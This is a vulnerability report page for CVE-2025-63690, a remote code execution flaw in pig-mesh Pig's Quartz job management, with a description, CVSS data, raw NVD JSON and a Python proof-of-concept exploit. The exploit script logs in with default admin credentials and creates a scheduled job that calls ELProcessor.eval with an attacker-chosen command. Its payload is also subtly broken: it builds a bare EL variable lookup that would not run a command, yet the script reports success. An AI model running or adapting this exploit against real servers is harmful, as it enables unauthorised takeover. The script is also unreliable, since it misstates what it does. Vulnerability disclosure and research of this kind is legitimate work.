Security Vulnerability Report
中文
CVE-2025-63690 CVSS 9.1 CRITICAL

CVE-2025-63690

Published: 2025-11-07 16:15:43
Last Modified: 2025-12-08 16:10:04

Description

In pig-mesh Pig versions 3.8.2 and below, when setting up scheduled tasks in the Quartz management function under the system management module, it is possible to execute any Java class with a parameterless constructor and its methods with parameter type String through reflection. At this time, the eval method in Tomcat's built-in class jakarta.el.ELProcessor can be used to execute commands, leading to a remote code execution vulnerability.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pig4cloud:pig:*:*:*:*:*:*:*:* - VULNERABLE
pig-mesh Pig <= 3.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-63690 PoC - pig-mesh RCE via ELProcessor # Target: pig-mesh Pig <= 3.8.2 TARGET_URL = "http://target.com:8080" USERNAME = "admin" PASSWORD = "admin" # Step 1: Login to get session cookie login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create malicious Quartz job with ELProcessor.eval() job_url = f"{TARGET_URL}/system/quartz/job" # ELProcessor.eval() can execute arbitrary commands # Payload: Execute system command via EL expression command = "whoami" # Change this to your target command payload = f"${{{command}}}" job_data = { "jobName": "rce_poc", "jobClass": "jakarta.el.ELProcessor", "methodName": "eval", "methodParams": [payload], "cronExpression": "0 0 0 * * ?", # Dummy cron "description": "Malicious job for CVE-2025-63690" } response = session.post(job_url, json=job_data) if response.status_code == 200: print(f"[+] Malicious job created successfully") print(f"[+] Command executed: {command}") print(f"[+] Check server response for command output") else: print(f"[-] Job creation failed: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63690", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:42.690", "lastModified": "2025-12-08T16:10:04.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In pig-mesh Pig versions 3.8.2 and below, when setting up scheduled tasks in the Quartz management function under the system management module, it is possible to execute any Java class with a parameterless constructor and its methods with parameter type String through reflection. At this time, the eval method in Tomcat's built-in class jakarta.el.ELProcessor can be used to execute commands, leading to a remote code execution vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-470"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pig4cloud:pig:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.8.2", "matchCriteriaId": "ED91B00C-6E96-4AD3-B814-D580C7F601B6"}]}]}], "references": [{"url": "https://github.com/LockeTom/vulnerability/blob/main/md/pig_Remote_Code_Execution_Vulnerability.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/pig-mesh/pig/issues/1199", "source": "[email protected]", "tags": ["Broken Link"]}]}}